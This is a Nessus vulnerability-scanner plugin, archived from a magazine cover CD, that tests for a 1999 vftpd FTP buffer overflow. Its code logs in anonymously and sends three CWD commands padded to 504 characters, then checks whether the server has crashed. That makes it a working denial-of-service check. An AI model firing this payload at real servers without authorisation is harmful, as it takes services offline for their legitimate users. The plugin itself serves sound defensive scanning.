home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / vftpd_overflow.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  112 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6.  
  7. if(description)
  8. {
  9.  script_id(10293);
  10.  script_bugtraq_id(818);
  11.  script_version ("$Revision: 1.18 $");
  12.  script_cve_id("CAN-1999-1058");
  13.  
  14.  name["english"] = "vftpd buffer overflow";
  15.  name["francais"] = "DΘpassement de buffer dans vftpd";
  16.  
  17.  script_name(english:name["english"],
  18.           francais:name["francais"]);
  19.          
  20.  desc["english"] = "
  21. It was possible to make the remote FTP server crash
  22. by issuing the commands :
  23.  
  24.     CWD <buffer>
  25.     CWD <buffer>
  26.     CWD <buffer>
  27.  
  28. Where <buffer> is longer than 504 chars.    
  29.  
  30. An attacker can use this problem to prevent your FTP server
  31. from working properly, thus preventing legitimate
  32. users from using it.
  33. Solution : upgrade your FTP to the latest version, 
  34. or change it. 
  35.  
  36. Risk factor : Medium";
  37.          
  38.          
  39. desc["francais"] = "
  40. Il s'est avΘrΘ possible de faire planter le serveur
  41. FTP distant en lui envoyant les commandes :
  42.  
  43.     CWD <buffer>
  44.     CWD <buffer>
  45.     CWD <buffer>
  46.  
  47. O∙ <buffer> fait plus de 504 caractΦres.
  48.  
  49. Un pirate peut utiliser ce problΦme pour empecher
  50. votre service FTP de fonctionner et ainsi de servir
  51. des clients lΘgitimes.
  52. Solution : mettez α jour votre serveur FTP, ou
  53. changez-le.
  54.  
  55.        
  56. Facteur de risque : Moyen";
  57.               
  58.  script_description(english:desc["english"],
  59.              francais:desc["francais"]);
  60.             
  61.  
  62.  script_summary(english:"Checks if the remote ftp can be buffer overflown",
  63.          francais:"DΘtermine si le serveur ftp distant peut etre soumis a un dΘpassement de buffer");
  64.  script_category(ACT_DESTRUCTIVE_ATTACK);
  65.  script_family(english:"FTP", francais:"FTP");
  66.  
  67.  script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
  68.            francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
  69.           
  70.  script_dependencie("find_service.nes", "ftp_anonymous.nasl");
  71.  script_require_keys("ftp/login");
  72.  script_require_ports("Services/ftp", 21);
  73.  exit(0);
  74. }
  75.  
  76. #
  77. # The script code starts here : 
  78. #
  79.  
  80.  
  81. login = get_kb_item("ftp/login");
  82. pass  = get_kb_item("ftp/password");
  83.  
  84. if(!login)exit(0);
  85.  
  86.  
  87.  
  88. port = get_kb_item("Services/ftp");
  89. if(!port)port = 21;
  90.  
  91. if(!get_port_state(port))exit(0);
  92. # Connect to the FTP server
  93. soc = open_sock_tcp(port);
  94. if(soc)
  95. {
  96.  domain = ereg_replace(pattern:"[^\.]*\.(.*)",
  97.                 string:get_host_name(),
  98.                replace:"\1");    
  99.                
  100.  if(ftp_log_in(socket:soc, user:"anonymous", pass:string("nessus@", domain)))
  101.  {
  102.   crp = crap(504);
  103.   c = string("CWD ", crp, "\r\n");
  104.   send(socket:soc, data:c) x 3;
  105.   close(soc);
  106.   soc2 = open_sock_tcp(port);
  107.   if(!soc2)security_warning(port);
  108.   else close(soc2);
  109.  }
  110. }
  111.